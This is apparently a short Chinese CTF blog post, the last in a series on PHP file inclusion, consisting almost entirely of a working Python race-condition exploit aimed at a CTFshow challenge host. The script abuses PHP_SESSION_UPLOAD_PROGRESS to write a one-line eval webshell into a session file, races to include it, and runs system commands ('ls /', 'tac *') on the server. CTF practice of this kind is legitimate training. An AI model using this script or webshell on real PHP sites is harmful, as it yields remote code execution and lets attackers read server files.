0 前言

这次将是最后一篇关于 php文件包含利用的文章，这几篇文章的内容几乎可以满足绝大多数简单的文件包含题目，以后的文章会更偏向于原理分析、比赛真题、程序分析。

在前面几篇文章中，用了 CTFshow 的几道例题来讲解我使用 php支持的协议 来进行 php文件 的利用，而这篇文章则主要讲解条件竞争的 Python 脚本（比较懒，加上最近事情比较多，介绍条件竞争的博客已经非常多了）。

1 Payload

import requests
import threading

# 攻击目标
HOST = "http://945b440c-5593-4910-8bd1-65c05fa2af13.challenge.ctf.show:8080/"

headers = {
    'Connection': 'close',
    # 上传后的文件名为：sess + $PHPSESSID = sess_slug01sh，所以 PHPSESSID 可以自定义。
    'Cookie': 'PHPSESSID=slug01sh'
}
# success 用于设置标志，可以知道是否包含成功。
payload = """success<?php @eval($_GET[code]);?>"""

# 封装成函数，方便设置多线程。
def run():
    # padding为8MB，用于上传。
    padding = 'a'*(80000-1)
    while True:
        # 后台会保存同时保存「上传的文件」和「sess」文件。后台会先删除上传的文件，当上传的文件比较大就会导致 sess 有比较长的停留时间，从而导致被包含。
        # 故有以下几点关键因素：
        # 1. Padding足够大
        # 2. 线程数足够多。
        # 3. 网速足够好。
        requests.post(
            url=HOST,
            # 上传文件文件。
            files={"file": (
                "f", padding)},
            # 保存 sess 文件
            data={
                'PHP_SESSION_UPLOAD_PROGRESS': payload
            },
            headers=headers
        )


# 程序入口，这样写比较会比较清晰。
if __name__ == '__main__':
    # 使用多线程进行文件上传
    for i in range(10):
        T = threading.Thread(target=run, args=())
        T.start()

    while True:
        res = requests.get(
            url=HOST,
            params={
                'file': '/tmp/sess_slug01sh',
                # 根据 payload 可以知道，上传的一句话密码为 code，通过 GET 参数传入代码即可运行。
                # tac * 命令可以查看当前文件夹的所有文件（不递归）。
                'code': 'system("ls /");system("tac *");'
            }
        )
        print(res.url)
        # print(res.text)
        if 'success' in res.text:
            print(res.text)
            break